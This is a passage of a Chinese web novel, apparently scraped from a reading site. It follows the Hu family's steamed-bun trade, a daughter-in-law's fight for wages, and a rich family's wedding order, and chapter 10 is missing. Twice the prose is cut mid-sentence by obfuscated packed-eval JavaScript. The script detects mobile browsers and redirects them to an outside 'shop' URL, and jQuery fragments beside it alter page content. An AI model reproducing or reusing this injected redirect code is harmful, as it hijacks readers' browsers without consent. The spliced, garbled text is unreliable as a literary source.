她爱吃,陈喜妹也喜欢,细细咂摸着,只觉得满口的香,今日委屈仿佛都被这滋味冲淡了些。她忍不住又夹了一块,正要往嘴里送—— “哇”的一声,不知道儿子犯了什么病,竟然在吃饭的时候闹腾起来。 陈喜妹筷子一顿,豆腐停在半空还腾腾地冒着热气,又被她放了回去,起身哄孩子。 “又哭又哭,就知道哭!”胡佑被她起身时撞了一下,没好气地嚷道,“你把他抱回屋子哄,别在这儿吵得人吃不安生!” 陈喜妹还记恨他上午吓唬自己,三两步进屋。孩子见又要回屋子,在她怀里挣了两下,仍是大哭不止。陈喜妹抱着他在屋里来回踱着,嘴里“哦哦”地哄着,脚下越走越快,那哭声却只高不低,嚎得人心头火气。 外头饭桌上传来说笑声,是王翠在问胡裪什么,胡裪低低地答了两句,又听见王翠笑了几声。 陈喜妹抱着孩子,走了一圈又一圈,胳膊酸了,腿也木了,那孩子却像跟她作对似的,哭得愈发声嘶力竭。她心里那股子火,再也压不住。 “哭!哭!哭你娘的丧!”她咬着牙,压低了嗓子骂,声音却控制不住地发着抖,“我上辈子是造了什么孽,这辈子落到你们家!做牛做马,起早贪黑,连口热饭都吃不上!你个讨债鬼,你就知道哭,你就知道磨我!” 她越说越气,越气越急,只觉得今儿这一天,这所有的委屈,都压得她透不过气来。她看着孩子那张哭得扭曲的小脸,心里突然涌上一股邪火,鬼使神差地,她猛地伸出手,一把捂住了孩子的嘴。 “唔——!” 那哭声戛然而止,变成了惊恐的呜咽。孩子的小身子在她怀里剧烈地挣了一下,两只小手胡乱地挥舞,眼睛瞪得老大,里头满是恐惧。 陈喜妹像被雷劈了似的,浑身一激灵松开了手。 孩子愣了一瞬,旋即“哇”的一声,哭得比先前更凶了,哭声里满是惊怕。 陈喜妹看着自己的手,又看着孩子惊恐的眼神,眼泪唰地流下来。她双腿一软,抱着孩子跌坐在炕沿上,呜呜地哭了起来。却不敢哭出声,只把身子缩成一团,一抽一抽地抖。 也不知哭了多久,胡思齐哭睡了过去。陈喜妹呆呆坐了一会儿才把孩子轻轻放在炕上,替他盖好薄被。她抹了一把脸把泪痕擦干,深吸一口气往外走。 外头饭桌上早已杯盘狼藉,胡佑正翘着腿剔牙,王翠在收拾碗筷,胡裪不知去了哪里。陈喜妹往桌上一看,那盘葱烧豆腐,已经空空如也,盘底只剩下些油汪汪的酱汁。 她看向胡佑,哑着嗓子问:“豆腐都吃完了?” 胡佑头也没抬,剔着牙含糊道:“吃完了,怎么着?你哄个孩子哄这半天,谁等你?” 陈喜妹抿了抿嘴,没说话。 正站着,胡裪从厨房里出来了,手里端着一个小碗,径直走到她跟前,把碗往她手里一塞,“给你留的。” 陈喜妹低头一看,碗里是几块葱烧豆腐,酱红色油汪汪的,小葱叶子已经蔫了,看起来有点儿恶心。她捧着那只碗,只觉得活着没什么劲儿,就连块豆腐也只有成日里作对的小姑子还记得留。 似乎没什么是她的。 不! 陈喜妹恶狠狠地想:“还有工钱,一个月一两银子的工钱我得要到。” 8. 第八章 装病 陈喜妹自下定决心,便想着跟公公讨工钱。 只是这讨工钱的话她一个做媳妇的如何开口?日日暗暗觑着时机,只等哪日公婆心情好了便张嘴。可胡有福那脾气,再好的心情听她张口要工钱也得恼了。王翠更不必说,见了她便脸不是脸、鼻子不是鼻子的。陈喜妹的话在喉咙里滚了千百遍,终是咽了回去。不过也不用急,反正还有张员外家的单子呢。 一晃便快到六月十三。 这一日是祭龙神的日子,海边渔村的人早就定下了小饽饽。 小饽饽个个有巴掌大,要用木头模子磕出来。胡家这些年都做这个生意,模子攒了一箩筐,有鲤鱼的、莲花的、元宝的,还有长命锁的,刻着吉祥字样。 为了这宗买卖,一家人几乎要忙死。 面团是头天晚上就和好的,搁在盆里发了一夜,涨得蓬蓬的,把盖布都顶了起来。刚发好一家人就起身。王翠烧火蒸馒头。胡裪洗了手,和胡祥两个人坐在案板前磕饽饽。陈喜妹在一旁揉面切剂子,婆媳两个也不说话,只听着模子磕在案板上砰砰地响。 胡裪手巧,一块面团在她手里,三揉两捏,塞进模子里用手掌压实了,再翻过来在案板边沿上一磕——啪的一声,饽饽便脱了出来,鲤鱼是鲤鱼,莲花是莲花,棱是棱、角是角,纹路清清楚楚。王翠不时从灶前探头看一眼,见女儿磕得齐整,心里便舒坦些,却又不好露出来,只闷头烧火。 胡祥做这种营生没几回,手不熟练,不是面多了就是面少了,挨了王翠几回骂,脸涨得通红。和陈喜妹换了位置,他去切剂子,陈喜妹磕饽饽。 胡思齐这两日倒是乖,因他之前哭得实在太狠,兼之孩子大了能听懂人话,便好好地与他论清楚,要是在外边玩耍不许耽误大人干活。胡思齐许是知道大人忙,只在他娘脚边爬来爬去,抓着个木模子玩,并不缠着人陪。陈喜妹脚下留神,生怕踩着他,手底下的活儿却不敢停。 如此忙了一整日又加大半夜,直到四更天方把渔村定下的三百个小饽饽全磕完上笼。胡有福和胡佑父子一笼一笼地出,满屋子热气腾腾,蒸得人浑身是汗。待到最后一笼出了锅,天已经蒙蒙亮了。胡有福数了数,又挨个儿看了成色,脸上方露出些笑模样:“成了,这一回能落个二钱银子。” 王翠听了心里一松,脸上也见了笑影。二钱银子呢,够买好些东西了。她瞥了陈喜妹一眼,难得没甩脸子。 六月十三当天,胡有福带着胡佑先去吴员外、崔举人家,又挑着两担小饽饽往渔村送去。回来时担子上换了两尾鱼,用草绳穿了鳃,提溜进门。 “红头鱼!”胡有福把鱼往灶台上一撂,“渔村老张给的,新鲜着呢。” 王翠凑过来看:鱼有巴掌宽,一拃多长,通体银红,头是红的,尾巴也是红的。她伸手按了按,鱼肉紧实,果然是新鲜的。只是这鱼刺最多,细刺密密的,又有股子特殊腥气,寻常人家不乐意吃,价钱最贱。 “正好,换块豆腐,晚上用大酱炖一炖吃。” 晚上叫胡裪换了豆腐,王翠把鱼刮了鳞,开膛破肚,掏净内脏,洗得干干净净。又从坛子里舀了一勺大酱,这酱是开春时下的,发了三四个月,正是香的时候。锅里放油,先下葱姜蒜爆香,再把鱼放进去两面煎黄,烹上酱,加水,大火烧开,放上豆腐小火慢炖,炖到汤都发黏才出锅。 豆腐浸饱了鱼汤,夹一筷子放进嘴里,豆腐的嫩滑、鱼汤的鲜浓、大酱的咸香,混在一起竟比鱼肉本身还鲜上三分。那鱼肉虽则刺多,但慢慢地嘬,也能嘬出一股子鲜甜来。 一家人围坐着吃了,连胡思齐都吃了小半碗豆腐。陈喜妹喂孩子,自己也吃了两块,抬眼看看胡裪,胡裪正低着头吃饭,一点异样也没有。 转眼便到了六月二十,离张家少爷的婚期只剩五日,那些花饽饽再不预备可就来不及了。 这桩生意六月初定下,张家是城里的富户,娶的是东门里王家的姑娘,两家都是有头有脸的,婚宴上的花饽饽自然不能马虎。胡裪拿出单子来默念了一遍:“龙凤呈祥一对、鸳鸯戏水一对、榴开百子一对、福禄双全一对、喜上眉梢一对,另加小饽饽二百四十个……” 这可是一百多斤面啊,还都是白面。平日里自家也就磨二十来斤白面,还不用很精细,可给张员外家做,一定得细细地过筛,用最好的白面。这个活计家里做不来,只能去粮店里买。 “面不够了,得上粮店籴去。”胡有福跟王翠说,“拿那个五两的银锭吧,得买个一百五十斤,给我把驴车套上。” “蜂蜜也没了。”胡裪在一旁道,“红曲、黄栀子、菠菜,都得备下。” 王翠便道:“那就快去,别耽搁了。” 因着胡裪伶俐些,胡有福便带着女儿去采买,父女两个架着驴车往街上的粮店去。 这粮店在东大街上,是三间门面的老字号,掌柜的姓周,人称周胖子。胡家平日里用面,都是在胡家村里直接跟族人们籴粮来磨,图个便宜,跟这周胖子不甚熟络。此番要的多,便只好来店里。 胡有福虽不来店里买面买粮,但他挑着担子走街串巷,谁不认识?周胖子忙迎上来,一看驴车便知道是大买卖,满面堆笑:“胡大哥怎么赏光来我店里?今儿要点什么?” 胡有福把单子递过去:“周老板,今儿要麻烦您了。白面,要好的,先来一百五十斤。” 周胖子接过单子,眼睛一扫,脸上的笑更深了:“哎哟,胡大哥要发财,这是做大席面了!一百五十斤白面,小店存货倒是够,只是这价儿……如今正是青黄不接的时候,面价可比春上贵了一文。” 胡有福皱了皱眉:“贵了一文?多少文一斤?” “平常是八文,如今得九文。”周胖子说着,便要去拿斗。 “且慢。”胡裪忽然开口了。 周胖子回过头,见是个十五六岁的姑娘,穿着粗布衣裳,头上系着红头绳,长得倒是十分清秀。他愣了一下,笑道:“这位是胡大哥的闺女?” “是我闺女,”胡有福道,“阿荞,你多什么嘴?” 胡裪不慌不忙上前半步,先冲周胖子福了一福,道:“周大叔,我多问一句,您这白面是今年的新麦磨出来的,还是往年的陈粮?” 周胖子脸上的笑滞了一滞:“这——” “若是陈粮,九文一斤便贵了。”胡裪声音不高,却清清楚楚,“我听人说,粮行里的陈粮价儿要比新麦低上一二文。周掌柜方才说青黄不接,既是青黄不接,新麦还没下来,您这儿卖的自然该是陈粮,陈粮磨面卖九文!周老板,您这——” 周胖子张了张嘴,没说出话来。 胡裪又道:“再者说,我们家虽不常来籴粮,可往后却有大买卖。此番做的是张家少爷婚宴上的花饽饽,二百四十个小饽饽、十二大的,用面一百多斤。张员外这样精致的人都找我们家做喜饽饽,往后城里的红白喜事说不定都要找我们家。周大叔是个明白人,头回打交道,我爹想跟您交个善缘。” 一番话说完,周胖子脸上的笑彻底僵住了,半晌忽然“噗嗤”一声笑,竖起大拇指:“好!好!胡大哥,你这闺女了不得!” 他又转向胡裪,笑道:“小姑娘,我周胖子在这条街上开了二十年粮店,头一回让个姑娘家给说得哑口无言。罢罢罢,就当结个善缘!白面八文一斤,原价给你,蜂蜜、红曲、黄栀子都便宜两成,如何?” 胡裪又福了一福:“多谢周大叔。” 胡有福在一旁看得呆了,半天没回过神来。 周胖子却不含糊,把面过了秤算账。 一百五十斤白面,一千二百文;五斤蜂蜜,每斤四十文,二百文;红曲二两,每两二十文,四十文;黄栀子二两,每两十五文,三十文。统共一千四百七十文,周胖子甩了零头,共收一两四钱。又叫伙计帮胡有福把面抗上驴车,这桩买卖才算了结。 出了粮店,胡有福驾车又去买了菠菜,走几步便回头看一眼闺女。 回到家里,王翠听了这事先是一愣,继而眉开眼笑,一把拉住胡裪的手:“我闺女就是聪明!比你爹那个榆木疙瘩强一百倍!” 胡有福也乐得自己铺子里有个争用的女儿。 陈喜妹在里屋听见了,却不是滋味。 材料备齐,接下来便是挖地窖。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345098|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主意也是胡裪出的。六月天热,饽饽蒸出来放不住,一两天便要馊。若是挖个小地窖,地下阴凉,能把饽饽多存两日。胡有福听了,直拍大腿:“这主意好!咱家后院那块地,土松,挖起来容易!” 当下父子两个便动了手,胡裪在一旁指点。要挖一人深,四四方方,底下铺一层干沙,四壁用木板护住,顶上搭个草帘子遮阳。这法子是她从一本书上看来的,说地底下阴凉,能存粮食瓜果,夏日里也不易坏。胡有福虽不明白什么道理,但闺女能拦下来生意也不会弄砸了它。 挖了一下午,地窖便成了。胡裪又让娘把碎土都扫干净,再撒一层石灰防潮。王翠一边擦一边念叨:“这能行吗?别把饽饽存坏了。” “能行,”胡裪道,“地底下阴凉,又不见光,能比外头多放两三日。” 六月二十二,是最后一天做馒头,除了吴、崔二家的供货不能断,其他的都得停一停。 一大早,胡有福便和胡佑挑着担子出门,先把吴员外家的杂合面馒头送了,又绕到崔举人府上把定例的馒头送到后门上。然后父子两个直奔渡口找孙猴子去。 孙猴子是个矮瘦的汉子,尖嘴猴腮跟个猢狲似的,也不姓孙,姓李,只是长得像是《西游记》里的孙悟空,大家都叫他孙猴子。人力气不大,却最是机灵,专管在码头上揽活、分派。他正拿着个小本子记着什么,见胡有福来了,抬起头,眯着眼笑:“胡大哥,今儿的馒头给我留两个。” 胡有福道:“好说。只是有一件事儿,明儿起歇三日。” 孙猴子一愣,手里的笔停住:“歇三日?好端端的,怎么歇了?” 胡有福便把家里有桩大买卖的事说了,又说了歇业的日子。孙猴子听完,点点头笑道:“那敢情好,有买卖是好事,二十六再吃吧。” 胡有福从怀里掏出来一块小碎银,塞给孙猴子,道:“麻烦小弟挨个儿说说,别让兄弟们白等。” 孙猴子把小本子一合,接过银子,笑道:“放心,我跟他们说,不就是三日么,饿不死。” 胡有福与他说笑几句,带着儿子去卖馒头。过来几个脚夫,都是熟面孔,胡有福便又一一说了,有的抱怨两句,有的点点头,有的还问一句“什么买卖”,胡有福只说“做饽饽”,旁的也不多嘴。 等一圈走下来,日头已经老高了,人也好回家。胡佑跟在后面,抱怨一句:“爹,您也忒大方,孙猴子一句话的事儿,您还给银子。我看那有二钱了吧?咱们祭龙王赚的银两又散了去。” 胡有福真不想跟他说话!他只盼着老天开眼,像话本似的叫胡裪变成男人,他就彻底省心了! 但这种事儿胡有福也知道,大多是书生杜撰,儿子就是儿子,女儿好上天是个仙女下凡也不能和儿子比。 因此沉住气解释:“你使给孙猴子钱,不是为了一句话的事儿。三天不去送馒头,脚夫们能不吃饭?明儿一早就有同行抢生意了!孙猴子是专管派活的,脚夫的生死命脉就掐在他手上呢,给他使上钱,叫他替我们把渡口的买卖看住了,别说是歇三日,就是五日十日不去,这买卖都是咱们的!” 胡有福又恍然大悟,跟着老爹回家。 那边胡家父子把歇业的事儿散出去,胡裪也没闲着,胡祥在店里帮忙,她便也跟着看店。 王翠一大早便裁了张红纸,研了墨,让胡裪写字。胡裪接过笔,在红纸上端端正正“画”了几行字: “本店因故,自二十三日起至二十五日,暂歇三日。二十六日照常营业。诸君见谅。” 她不会写什么字,但上辈子看过那么多,画出来还是没问题的。 写好了便贴在大门板上。王翠站在门外端详一会儿,心里又是得意又是怅惘——闺女这手字倒像是读过书的,只可惜是个丫头。 到了晚间,一家子吃着饭,正盘算着明日怎么安排,这毕竟是个大买卖,要从头到尾计较清楚,不敢含糊。 就在此时,陈喜妹忽然撂下碗筷,拿手捂着肚子脸色白白的,小声道: “爹,娘,我这几日身上不好,明儿怕是不能干活了。” 一屋子人都愣住。 9. 第九章 腹痛 陈喜妹一句话出口,满屋子人都愣住。 胡有福最是有打算的人,此时正端着碗喝粥,闻言手都没停,只拿眼把陈喜妹上下打量一回,道:“身上不好?怎么个不好法?穷人家过日子,谁还没个腰酸腿疼的时候?挺一挺就过去了。明天和后日那活计可是一百多斤面的大买卖,耽误不得。” 陈喜妹低着头,手还捂在肚子上,声音细细的:“实在是撑不住,头晕眼花的,使不上力气……” “使不上力气?”胡有福把碗往桌上一搁,“使不上力气也得使!咱们这般人家,别说身上不好,就是真病了,该干的活还能撂下不成?你当你是那大户人家的少奶奶,有个头疼脑热就躺下歇着?” 陈喜妹听了这话眼泪便下来了。她也不擦,由着那泪珠顺着腮帮子往下滚,滴在衣襟上洇成一小片深色。 “爹说的是,”她抬起头来,声音还打抖,却比方才大了些,“咱们这般人家,累了也得干活,病了也得干活。起早贪黑,从年头忙到年尾,连口热饭都吃不安生。可我干了这么些年,落着什么了?身上这件衣裳,还是做闺女时候穿的,头上这根簪子,还是我娘给我的陪嫁。我不图穿金戴银,可好歹……好歹也让我觉着,这家里有我一分,我干的这些活,不全是白干的。” 她说着,拿袖子抹了一把脸,泪却越抹越多:“今儿我就是身子不好,干不动了。爹要是非让我干,那也行,把我累死在家里头,往后倒也省心了,省得落下一身病,还得自己受罪。” 话说到底了,再也没留情面,一屋子人竟都哑了,不知道说什么好。 胡佑先回过神来,脸涨得通红,蹭地站起来,指着陈喜妹骂道:“你这是说的什么话?什么叫白干了?你吃我家的、住我家的,还给你娘家捎过多少东西,当我不知道?如今倒说起这个来了!我看你不是身上不好,你是心大了!” 说着,扬起手就要打。 “你打!你打!”陈喜妹也不躲,反倒把脸凑上去,“打死我倒轻快了!” 胡裪一直在旁边看着,这时忙上前一步,拦在胡佑跟前。 她不拦他的胳膊,只侧着身子挡在中间,嗔道:“哥,要打要骂,你们出去打,别叫我这个没出门的姑娘看见!最好到街坊邻居跟前打,叫大家好好看咱们的笑话!一家子债还没还上,倒是先窝里反了,还动手打媳妇!你从外头打听打听,是什么样不争气的汉子才会打媳妇?” 胡佑被她这一骂,倒不好再动手,只气得呼呼直喘,指着陈喜妹骂道:“你给我等着!” 王翠这时才回过神来,啪地一拍桌子,指着陈喜妹的鼻子:“好哇,我算是听明白了,我当你是个老实的原来在这儿等着呢!什么身上不好,分明是拿乔想要工钱了,你自己撒泡尿照照,你配吗?” 胡裪这时候没插嘴,是要叫他们先把火撒完,然后再替嫂子说话。说起来,这事儿还是她挑唆的。 嫂子这病来得太是时候,早不病晚不病,偏偏要干张家这桩大买了,身子不好。是真病还是假病她说不准,可嫂子方才那番话,什么一分都捞不着,分明就是也想要工钱。 这个事儿挺好,对胡裪也好。虽说这个家往后是胡佑的,但现在赚一分钱就得上交一分钱,胡佑也是一个子儿没有,偏她能得一个月一两的工钱,这一下就把自己至于众矢之的。 若嫂子也有了工钱,她便不那么扎眼了,往后爹若想赖掉谁的工钱,那就得一次性赖掉两个人的,否则被赖掉的那个人定然不干,早早晚晚地睡大觉。到时候嫂子不答应,她也跟着不答应,爹能怎么办? 想到这里,胡裪便拿定主意。 她见爹娘骂也骂过了,哥要打也没打成,火气都发了一通,便上前扯了扯胡有福的袖子,低声道:“爹,你出来一下,我有话跟你说。” 胡有福正气得不行,见闺女拉他,跟着进屋。 胡裪站定,也不绕弯子,直接道:“爹,嫂子闹这一出,你打算怎么收场?” 胡有福一愣:“收什么场?她敢不干活,我……” “你还能把她撵出去?”胡裪打断他,“撵出去了,哥怎么办?思齐怎么办?那一百多斤面的活,谁来做?” 胡有福没说出话来。他真想不明白,你说阿荞到底是个女儿,以后就是外姓人,她要工钱求个心安,胡有福还能捏着鼻子认了。陈喜妹却怪了,日后这么大的家业不都是她男人的?现在急什么? 胡裪又道:“张家这桩买卖,是咱们好不容易揽下的。二百四十个小饽饽,十二个大饽饽,两天工夫要赶出来。少一个人手,就多一分差池。若是做坏了,往后城里的红白喜事,谁还敢找咱们?” 胡有福眉头皱得死紧:“那你说怎么办?真给她工钱?” 胡裪点点头:“给她。先给她一两银子,把眼下这关过了。等活做完了,往后的事往后再说。” 胡有福瞪着眼:“一两银子!她凭什么?” “就凭她是咱们家的人,就凭明儿那活少不得她。”胡裪看着胡有福,“爹你想,嫂子今儿把话说到这个份上,你不给她,她真能撂挑子不干。到时候耽误了张家的活,赔钱的是咱们,丢脸的是咱们,往后没了生意的也是咱们。这一两银子就当买个安稳。” “爹要是觉得亏,等活做完了再想法子就是。可眼下得先把她稳住,反正你不能叫我和娘两个人干,我俩累死也干不完。” 胡有福终是叹了口气转身出屋。 屋外头,陈喜妹还坐在那里抹眼泪,王翠都骂不动了。 胡有福从匣子里摸出银角子,往她面前一递:“拿着。” “这是一两银子,”胡有福硬邦邦地道,“算是你这回的工钱。拿了钱,明儿好好干活。要是再闹,别怪我不客气。” 陈喜妹伸手接过那银子,在手里攥了攥。那么小一点儿,凉凉的,可是她的心却那么热! 银子!是银子!是她自己一个人的银子! 王翠在一旁气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345099|199507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得直喘,可老头子发了话,她也不好再说什么,只狠狠剜了陈喜妹一眼。 陈喜妹把那银子往怀里一揣,泪水登时止住,喜滋滋坐回桌边。 一屋子人沉默一会儿,胡裪先开口:“行了,既然说开了,咱们还是商量商量明儿的活。时候不早了,早些定下来,也好早些歇着。” 胡有福在主位上坐下,沉声道:“你说。” 胡裪便道:“明儿一早,还是先做吴员外和崔举人家的馒头。这是老主顾,不能断。做完这两家的,咱们就做张家那二百四十个小饽饽。红点小饽饽和枣饽饽好做,明儿一天就做出来,先存到窖子里。” 她顿了顿,又道:“做完了小饽饽再和第二天的面,弄完放在那儿发着,后天一早起来做大饽饽。十二个大的是最要紧的,得精细着来,不能糙。我有几样家什——走棰、球棒、小剪刀、梳子,到时候教娘和嫂子用。龙凤、鸳鸯、石榴、福禄、喜鹊,这些样式我都琢磨过,咱们一样一样来。” 王翠听了,有些担忧:“两天工夫,能赶出来?” 胡裪点点头:“只要咱们齐心,赶得出来。哥和爹砍柴、烧火、揉面不能停,胡祥就帮着咱们分剂子,娘跟嫂子帮我搓条、塑形,我把东西捏在一起。咱们各管一摊,不乱了阵脚,一定能做完。” 她说着,看了看众人:“二十五寅时,张家的人来取货。咱们得在二十四夜里把东西全做好,晾凉,收进窖子。二十五号一早,他们来人,咱们帮着装车就是了。” 一屋子人听她分派得清清楚楚,心里都有了底。王翠虽还不痛快,可闺女说得在理,便也不吭声了。 陈喜妹坐在一旁,手还揣在怀里,攥着那块银子,心里热乎乎的。她抬眼看了看胡佑,胡佑还瞪着她,她也不怕,反倒把下巴抬了抬。 胡佑气得扭过头去。 事情说定,众人便散了,各自去预备明日要用的东西。陈喜妹起身往外走,想去趟茅房。蹲下时,她忽然觉得小腹有些坠坠的疼,倒像是真要来月事的样子。她皱了皱眉,也没往心里去,只想着有了这一两银子,就是真疼也值了。 从茅房出来,才走了几步,胳膊忽然被人一把拉住。 她吓了一跳,回头一看,却是胡裪。 胡裪把她拉到墙根底下,四下里看了看,见其他人都听不到,才压低声音道:“嫂子,我跟你说句话。” 陈喜妹摸不着头脑:“什么话?” 胡裪凑近她耳边,声音低得几乎听不见:“爹给你的那银子,是哄你的。” 陈喜妹脸上的热乎气儿一下子散净,瞪着眼看她。 胡裪忙按住她的手,不让她出声,又道:“爹只想把这一关糊弄过去,等活做完了,他有的是法子再把银子要回去。到那时候,你怎么办?” 陈喜妹心里一凉,嘴唇哆嗦着:“那……那怎么办?” 胡裪往她耳边又凑了凑,窃窃私语一阵,陈喜妹听着听着,眼睛亮了起来。 11. 第十一章 意外 坐在马车车沿上,胡祹手扶着车帮,东张西望。 阳城县的街巷她都走惯了,可今日坐在车上,便觉着处处不同,街景匆匆而去,怪有意思。 胡有福坐在她旁边,怀里揣着小一百个铜钱,是预备着打点用的,现在叮铃叮铃直响。 “爹,您别紧张。”胡裪见他不停地搓手,低声说了一句。 胡有福瞪她一眼:“谁紧张了?我是热。” 胡裪便不说话了。 车过十字街,往北一拐,景象便大不相同了。南边是寻常百姓人家,青砖黑瓦,密密匝匝地挤在一处。到了北边,街道宽阔起来,两边都是高门大户,粉墙黛瓦,石狮子一对一对地蹲着,威风凛凛。墙内伸出老槐树的枝丫,浓荫匝地,遮了半条街。 张员外家在城北柳巷尽头,是一座三进的宅子。门口早已张灯结彩,大红灯笼从门楣一直挂到巷口,风吹过来,穗子飘飘荡荡的。 门框上贴了新对联,红纸金字,写着“琴瑟永谐百年好,夫妻恩爱万年长”。门楣上悬着红绸,扎成牡丹花的模样,层层叠叠的,衬着那黑漆大门,格外喜庆。 赶车的汉子把车赶到后门,停了车跳下来,拱手道:“胡大叔,到了。咱们从后门进,前头正忙着搭喜棚,乱得很。” 胡有福忙道:“使得使得,后门清净。” 后门倒也不寒碜。青砖门楼,虽不如前头气派,却也干干净净。门口站着两个小厮,穿着半新的蓝布衫子,见车来了便迎上来。 胡有福赶紧跳下车,从怀里摸出铜钱,一人塞了五六文,满脸堆笑道:“辛苦两位小哥,大热的天,喝碗茶。” 两个小厮接了钱,脸上便活泛起来,一个帮着掀帘子,一个往里头报信。 胡裪跟着爹进了后门,入眼便是一条甬道,青砖墁地,扫得一根草刺也无。甬道两边摆着花盆,里头种着石榴树,正是六月,石榴花开得正盛,红艳艳的,像一团一团的火。花盆上缠着红绸子,系成蝴蝶结,风一吹,绸子飘飘的。 穿过甬道,便是一道月亮门。过了月亮门,眼前豁然开朗,是个大院子。院子里搭着喜棚,棚顶用新苇席苫的,四角挂着红灯笼,棚下摆着十来张八仙桌,桌上铺着红桌布。几个佣人正忙着摆桌椅,见人来了,抬头看一眼,又低头忙自己的。 再往前走,便是一进院子的正厅了。正厅的廊檐下挂着两盏大红灯,灯上画着龙凤呈祥的图案,金粉描的,太阳底下一照,亮得晃眼。廊柱上贴了红纸对联,上联“百年好合”,下联“五世其昌”,横批“天作之合”。门帘也换了新的,是大红缂丝的,上头绣着鸳鸯戏水,针脚细密,跟活的似的。 胡裪一路看着,心里暗暗咋舌。这张员外家果然有钱。她前世在书里见过描写豪门婚礼的排场,今日亲眼见了,才知古代的奢华和现代的奢华完全是两码事。 胡有福却顾不上看这些,他一路走一路散铜钱,见着搬东西的小厮散两个,见着扫地的婆子散两个,连廊下蹲着喂猫的小丫头都得了两个。那铜钱从他手里撒出去,叮叮当当地落在人家手心里,他便觉得安心些。 赶车的汉子引着他们到了一间偏房前,推开门道:“胡大叔,饽饽先搁这儿,等祭祖的时候再往前头搬。您二位先歇歇,喝口水。” 胡有福忙道:“不碍事不碍事,我们先看着他们把饽饽安顿好。” 两个小厮便从车上往下搬饽饽。那对龙凤最大,两个人小心翼翼,一步一步地挪。搬龙的时候,前头那个小厮脚底下绊了一下,身子一晃,后头那个脸都白了。胡有福眼疾手快,一把扶住,嘴里连声道:“小心小心!” 那小厮站稳了,出了一脑门子汗,回头看那龙——龙须微微颤了颤,倒也没断,这才长出一口气。 胡裪在一旁抿着嘴笑。 等十二个大饽饽都搬进了偏房,又依着胡裪的意思按大小排列好,小饽饽则装了四十个大食盒摞在墙角。赶车的汉子清点了一遍,又拿出单子核对了一遍,一样不差,便去前头禀报。 不多时,上回下单子的张管家便来了,穿着绸直裰,料子是宝蓝色的杭绸,腰里系着丝绦,脚上蹬着黑缎靴子,通身上下收拾得利利索索。他进门先扫了一眼那些饽饽,然后便愣住了。 “这……这是饽饽?”他走到那对龙凤跟前,弯下腰仔细端详,喜笑颜开,“怪道你家敢卖二十两,原来是有真本事在。” 他又绕着那对龙凤转了两圈,啧啧称奇:“胡掌柜,您家这是请了哪里的高人?” 胡有福笑得合不拢嘴:“哪有什么高人?就我这闺女鼓捣出来的。” 他怔了一怔,随即笑道:“姑娘好手艺!这龙鳞凤羽,做得跟真的似的。我们老爷要是见了,保管欢喜,你们擎等着领赏好了。”说完便将剩下的十一两四钱结了,胡有福点头哈腰接过。 胡裪福了一福,轻声道:“张大叔过奖了。这饽饽还得请大叔指点,该摆在哪儿,该怎么摆,我们心里好有个数。” 张管家点点头,正色道:“按规矩,这些大饽饽要先摆在供桌上,祭了祖先,再抬到喜棚里去,摆在正当中那张桌子上。宾客们来了,都看得见。小饽饽散给宾客,一人六个,图个吉利。” 胡裪听了,心里便踏实了。摆在正当中,那便是最显眼的位置了。今日来的宾客,非富即贵,见了这饽饽,还怕没有回头客? 张管家又看了看那些饽饽,忽然指着那对喜上眉梢,道:“这对喜鹊做得好,活灵活现的。我们老爷最喜欢喜鹊,说喜鹊叫,好事到,今儿早上还听着喜鹊声了呢。” 胡裪看了一眼那对喜上眉梢,一只喜鹊站在梅花枝上,翅膀微微张开,像是要飞。另一只歪着头,嘴里衔着一颗红豆,憨态可掬。她做的时候便花了心思,如今被人夸,心里自然欢喜。 正说着,外头忽然传来脚步声,一个小丫头跑进来,气喘吁吁道:“管事,老爷问饽饽来了没有?祭祖的时辰快到了。” 管家忙道:“来了来了,这就搬。”说着,转身对两个小厮吩咐,“去叫几个人来,把这对龙凤先抬到供桌跟前,小心着点,碰坏了一样,仔细你们的皮!” 两个小厮应了一声,一溜烟跑了。 不多时,又来了四个小厮,都是年轻力壮的,穿着新衣裳,手上干干净净的。张管家指挥着他们,先把那对龙凤抬了出去,然后是榴开百子、福禄双全、鸳鸯戏水、喜上眉梢,一对一对地往外搬。 胡裪跟在后面,出了偏房,穿过一道穿堂,便到了正厅。正厅里已经布置好了,正中是一张紫檀木的供桌,桌上铺着大红绸子,绸子上摆着香炉、烛台、果品、点心,整整齐齐的。 供桌后面挂着祖宗画像,画上的老人穿着官服,面容严肃,眼睛直直地看着前方。画像两边挂着对联,写着“祖德流芳远,宗功泽世长”。 供桌前面摆着一张条案,条案上铺着红布,便是摆放饽饽的地方了。 张管家指挥着小厮们,把饽饽一对一对地摆在条案上。龙凤摆在正中,其余的四对摆在两边,按大小排列,高低错落,看着便有一种气派。 摆完了,张管家退后两步,歪着头看了一会儿,又上前挪了挪那对鸳鸯的位置,再退后看,这才满意地点点头:“行了。” 胡有福站在一旁,看着自家的饽饽摆在张家的供桌上,心里头滋味实在说不上来。又是得意,又是感慨,还有一点点的辛酸。他揉了一辈子面,卖了一辈子馒头,何时也能拜一拜这样的饽饽祭祖? 胡裪站在他身边,低声道:“爹,别看了,咱们该回去了。” 胡有福回过神来,应了一声,正要走,忽然想起什么,从怀里又摸出一把铜钱,塞给旁边站着的小厮,道:“辛苦辛苦,喝碗茶。” 那小厮接了钱,笑嘻嘻地道:“胡大叔客气了。您这饽饽做得好,我们老爷见了,不定怎么赏呢。” 